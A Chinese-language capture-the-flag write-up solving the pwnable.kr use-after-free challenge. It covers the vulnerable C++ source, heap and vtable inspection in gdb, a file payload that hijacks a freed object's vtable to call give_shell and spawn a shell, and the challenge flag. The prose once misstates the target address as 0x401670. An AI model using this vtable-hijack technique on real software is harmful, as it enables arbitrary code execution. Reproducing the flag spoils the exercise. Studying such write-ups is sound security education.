question 1 2 3 Mommy, what is Use After Free bug? ssh uaf@pwnable.kr -p2222 (pw:guest)
题目要求我们使用ssh登录到服务器上ssh uaf@pwnable.kr -p2222
,密码是cmd1的flag,有的时候可能有身份的校验,这个时候需要加上参数-o StrictHostKeyChecking=no
进行登录
uaf.cpp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 #include <fcntl.h> #include <iostream> #include <cstring> #include <cstdlib> #include <unistd.h> using namespace std ;class Human {private : virtual void give_shell () { system("/bin/sh" ); } protected : int age; string name; public : virtual void introduce () { cout << "My name is " << name << endl ; cout << "I am " << age << " years old" << endl ; } }; class Man : public Human{public : Man(string name, int age){ this ->name = name; this ->age = age; } virtual void introduce () { Human::introduce(); cout << "I am a nice guy!" << endl ; } }; class Woman : public Human{public : Woman(string name, int age){ this ->name = name; this ->age = age; } virtual void introduce () { Human::introduce(); cout << "I am a cute girl!" << endl ; } }; int main (int argc, char * argv[]) { Human* m = new Man("Jack" , 25 ); Human* w = new Woman("Jill" , 21 ); size_t len; char * data; unsigned int op; while (1 ){ cout << "1. use\n2. after\n3. free\n" ; cin >> op; switch (op){ case 1 : m->introduce(); w->introduce(); break ; case 2 : len = atoi(argv[1 ]); data = new char [len]; read (open (argv[2 ], O_RDONLY), data, len); cout << "your data is allocated" << endl ; break ; case 3 : delete m; delete w; break ; default : break ; } } return 0 ; }
analyse 先把文件下载下来scp -P 2222 -p uaf@pwnable.kr:/home/uaf/* ./
申请块大小 在main函数中可以看到以下两段
1 2 3 4 5 400efb: bf 18 00 00 00 mov $0x18,%edi 400f00: e8 8b fe ff ff callq 400d90 <_Znwm@plt> 400f59: bf 18 00 00 00 mov $0x18,%edi 400f5e: e8 2d fe ff ff callq 400d90 <_Znwm@plt>
都是申请了一个Fastbin块用于初始化man和woman对象 其中函数_Znwm可以用工具c++filt查看真实的函数名
1 2 root@5c619b760e10:/ctf/work# c++filt _Znwm operator new(unsigned long)
由于我们要利用UAF漏洞,所以再次申请时,也需要申请一样大小的Fastbin块,所以在选择2时,我们填入大小为24。由于Fastbin是LIFO,所以我们2申请块时,第一次申请得到的是原先属于w的块,第二次申请得到的是原先属于m的块。
对象结构 在while(1)处打断点,然后可以查看到fastbin信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 0x614e60 FASTBIN { mchunk_prev_size = 0x0, mchunk_size = 0x31, fd = 0x4, bk = 0x4, fd_nextsize = 0x0, bk_nextsize = 0x6b63614a } 0x614e90 FASTBIN { mchunk_prev_size = 0x0, mchunk_size = 0x21, fd = 0x401570 <vtable for Man+16>, bk = 0x19, fd_nextsize = 0x614e88, bk_nextsize = 0x31 } 0x614eb0 FASTBIN { mchunk_prev_size = 0x614e88, mchunk_size = 0x31, fd = 0x4, bk = 0x4, fd_nextsize = 0x0, bk_nextsize = 0x6c6c694a } 0x614ee0 FASTBIN { mchunk_prev_size = 0x0, mchunk_size = 0x21, fd = 0x401550 <vtable for Woman+16>, bk = 0x15, fd_nextsize = 0x614ed8, bk_nextsize = 0x411 }
以其中的块0x614e90为例,是m的结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 gdb-peda$ x/10x 0x614e90 0x614e90: 0x0000000000000000 0x0000000000000021 0x614ea0: 0x0000000000401570 0x0000000000000019 0x614eb0: 0x0000000000614e88 0x0000000000000031 0x614ec0: 0x0000000000000004 0x0000000000000004 0x614ed0: 0x0000000000000000 0x000000006c6c694a gdb-peda$ x/10a 0x401570 0x401570 <vtable for Man+16>: 0x40117a <Human::give_shell()> 0x4012d2 <Man::introduce()> 0x401580 <vtable for Human>: 0x0 0x4015f0 <typeinfo for Human> 0x401590 <vtable for Human+16>: 0x40117a <Human::give_shell()> 0x401192 <Human::introduce()> 0x4015a0 <typeinfo name for Woman>: 0x6e616d6f5735 0x0 0x4015b0 <typeinfo for Woman>: 0x602390 <vtable for __cxxabiv1::__si_class_type_info@@CXXABI_1.3+16> 0x4015a0 <typeinfo name for Woman> gdb-peda$ x/s 0x614e88 0x614e88: "Jack"
0x401570是Man的虚表,0x19是年龄25岁,0x614e88指向字符串"Jack" 也可以查看到w的结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 gdb-peda$ x/10x 0x614ee0 0x614ee0: 0x0000000000000000 0x0000000000000021 0x614ef0: 0x0000000000401550 0x0000000000000015 0x614f00: 0x0000000000614ed8 0x0000000000000411 0x614f10: 0x0a65657266202e33 0x000000000000000a 0x614f20: 0x0000000000000000 0x0000000000000000 gdb-peda$ x/10a 0x401550 0x401550 <vtable for Woman+16>: 0x40117a <Human::give_shell()> 0x401376 <Woman::introduce()> 0x401560 <vtable for Man>: 0x0 0x4015d0 <typeinfo for Man> 0x401570 <vtable for Man+16>: 0x40117a <Human::give_shell()> 0x4012d2 <Man::introduce()> 0x401580 <vtable for Human>: 0x0 0x4015f0 <typeinfo for Human> 0x401590 <vtable for Human+16>: 0x40117a <Human::give_shell()> 0x401192 <Human::introduce()> gdb-peda$ x/s 0x614ed8 0x614ed8: "Jill"
虚表 当存在虚函数的继承时,会出现虚表vtable,用来索引函数
1 2 3 4 5 6 7 8 Man: 0x401570 --------------- ------------- |+0 | vtable_Man| -----> |+0 give_shell | --------------- ------------- |+8 | age | |+8 introduce | --------------- ------------- |+16| name | ---------------
本来调用m的introduce函数时,是*(vtable_man+8)
,这里vtable_man
是我们可以通过文件写入的值,为了调用到give_shell
函数,我们只要将文件内容改成(vtable_man-8)
的值代替原来的vtable_man
即可
注意到这里有三个虚表,Man的,Woman的以及Human的,任意选一个即可,比如我选(0x401670-8)
get flag 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 uaf@pwnable:~$ python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > /tmp/tmpfile uaf@pwnable:~$ ./uaf 24 /tmp/tmpfile 1. use 2. after 3. free 3 1. use 2. after 3. free 2 your data is allocated 1. use 2. after 3. free 2 your data is allocated 1. use 2. after 3. free 1 $ ls flag uaf uaf.cpp $ cat flag yay_f1ag_aft3r_pwning
flag
:yay_f1ag_aft3r_pwning